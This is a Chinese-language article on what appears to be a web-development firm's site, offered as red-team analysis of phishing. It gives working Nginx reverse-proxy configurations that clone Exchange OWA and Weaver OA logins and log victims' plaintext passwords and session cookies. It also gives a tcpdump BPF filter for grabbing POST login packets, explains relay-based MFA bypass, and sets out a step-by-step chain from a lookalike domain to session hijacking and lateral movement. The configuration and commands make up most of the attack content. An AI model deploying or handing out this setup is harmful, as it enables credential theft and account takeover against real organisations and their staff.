十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

红队钓鱼场景下的Nginx反向代理技术分析

红队钓鱼场景下的Nginx反向代理技术分析 在红队钓鱼中攻击者通过Nginx反向代理AiTM透明转发受害者流量至真实站点同时利用proxy_pass配合日志变量捕获明文账密$request_body与会话Cookie$http_cookie在受害主机侧则通过tcpdump配合BPF过滤表达式实时抓取发往代理节点的POST登录包直接从TCP payload中提取账号、密码、验证码。两者结合实现无感钓鱼 MFA绕过 会话劫持 凭证验证的完整攻击链。一、为什么邮服/OA是红队钓鱼的重点目标系统类型典型产品凭证价值邮件服务器Exchange、Coremail、Exchange Online邮箱可重置其他系统密码是横向移动的万能钥匙OA系统泛微e-cology、致远A8、蓝凌EKP包含组织架构、审批流、通讯录是内网信息枢纽三大特征决定其易受攻击凭证密度高邮服/OA账号通常与AD域/LDAP/SSO打通一旦获取即可横向移动Web登录入口统一登录表单结构固定如/owa/auth.owa、/seeyon/rest/authentication/login前端可像素级克隆会话机制可复用Cookie Session机制普遍部分支持记住我长效令牌截获后可直接注入接管二、Nginx反向代理的部署与配置1. 基础反代配置以Exchange OWA为例server { listen 443 ssl; server_name mail.corp-example.com; # 伪造的合法域名 ssl_certificate /etc/nginx/cert/fake.crt; ssl_certificate_key /etc/nginx/cert/fake.key; location / { proxy_pass https://real-mail.corp-example.com; # 真实邮服地址 proxy_set_header Host real-mail.corp-example.com; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto https; } }关键点Host头必须设置为真实邮服域名否则后端会因Host校验失败而拒绝请求SSL证书需匹配伪造域名否则浏览器提示证书错误。2. 敏感数据捕获配置log_format cred_capture $remote_addr - $time_local $request BODY$request_body COOKIE$http_cookie UA$http_user_agent; access_log /var/log/nginx/capture.log cred_capture; location /owa/ { proxy_pass https://real-mail.corp-example.com/owa/; proxy_set_header Host real-mail.corp-example.com; proxy_pass_header Set-Cookie; # 确保Set-Cookie透传 }$request_body在proxy_pass场景下会记录POST请求体Exchange OWA登录的账密就在其中usernameadminpasswordPssw0rd123destinationhttps%3A%2F%2F...$http_cookie则记录客户端携带的会话令牌捕获到的ASP.NET_SessionId或cadata可直接用于会话劫持。3. OA系统泛微e-cology的特殊处理泛微OA登录接口通常为/login/VerifyLogin.jsp提交字段包含loginName、loginPassword。反代配置类似但需注意location /login/ { proxy_pass http://real-oa.corp-example.com/login/; proxy_set_header Host real-oa.corp-example.com; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }泛微部分版本使用RSA加密传输密码攻击者通过代理捕获的是加密后的密文可结合前端JS逆向或直接转发到真实服务器验证的方式绕过。三、tcpdump抓取登录包tcpdump命令可以在受害主机侧直接抓取明文HTTP登录凭证从TCP payload中提取邮服/OA的登录表单数据。1. 命令逐段拆解tcpdump-ieth0-s0-nnAtcp dst port 80 and host 172.16.46.35 and (tcp[((tcp[12:1] 0xf0) 2):4] 0x504f5354)参数作用-i eth0监听eth0网卡-s 0snaplen设为0抓取完整数据包不截断payload-nnA不解析主机名/端口-nn以ASCII 打印payload-A方便直接读取表单字段tcp dst port 80目标端口80即明文HTTP流量host 172.16.46.35目标为Nginx代理节点IPtcp[((tcp[12:1] 0xf0) 2):4] 0x504f5354payload前4字节为POST2. BPF表达式精讲tcp[12:1]取TCP头第13字节偏移12其高4位为数据偏移字段TCP header length 0xf0屏蔽低4位仅保留高4位 2右移2位将以32位字为单位的长度换算为字节数:4从payload起始位置读取4字节 0x504f5354与POST的ASCII十六进制比较为什么只抓POST邮服/OA的登录表单几乎都通过POST提交GET请求只携带URL参数不含密码。3. 为什么用tcpdump而非Nginx日志对比项tcpdumpNginx日志部署时机旁路监听不依赖服务端配置需提前配置log_format数据完整性完整捕获TCP payload$request_body有大小限制可能丢弃隐蔽性不修改目标配置不易触发日志告警修改配置可能引起日志异常适用场景已控主机快速验证凭证质量代理节点长期留存4. ASCII输出解读-A参数让tcpdump以ASCII打印payload可直接肉眼读取POST /seeyon/rest/authentication/login HTTP/1.1 Host: testasp.vulnweb.com Content-Type: application/x-www-form-urlencoded Content-Length: 42 usernameadminpasswordP%40ssw0rd123validateCode8f3a注意密码中的特殊字符会被URL编码→%40需解码还原。四、MFA绕过原理邮服/OA系统常启用MFA短信验证码、OTP令牌、邮件验证码。Nginx反代实现MFA绕过的核心逻辑受害者 → [Nginx代理] → 真实邮服 ↓ 记录所有请求/响应攻击流程受害者在钓鱼页面输入账号密码Nginx记录明文凭证并转发给真实邮服真实邮服验证密码通过下发MFA挑战Nginx将MFA挑战页面原样返回给受害者受害者输入MFA验证码Nginx记录并转发真实邮服验证MFA通过下发已认证的会话CookieNginx捕获该Cookie攻击者即可在本地浏览器注入完整接管会话整个过程受害者看到的是正常的登录流程毫无察觉。攻击者无需破解MFA只需实时转发即可。五、完整攻击链① 克隆邮服/OA登录页 → 部署在Nginx代理VPS172.16.46.35 ② 伪造相似域名如 mail-corp.com vs mail.corp.com→ 诱导受害者访问 ③ 受害主机执行tcpdump → 实时抓取POST登录包 → 提取明文账密 ④ Nginx记录 $request_body / $http_cookie → 二次留存凭证与Cookie ⑤ Nginx转发至真实邮服/OA → 受害者正常登录无感知 ⑥ 真实邮服下发MFA挑战 → Nginx透传 → 受害者输入验证码 → Nginx记录 ⑦ 真实邮服下发会话Cookie → Nginx捕获 → 攻击者注入Cookie接管会话 ⑧ 利用邮服重置其他系统密码 → 内网横向移动第③步的tcpdump是凭证获取的第一现场用于快速确认钓鱼是否成功、账密是否有效第④步的Nginx日志则是长期留存与Cookie捕获的补充。
返回列表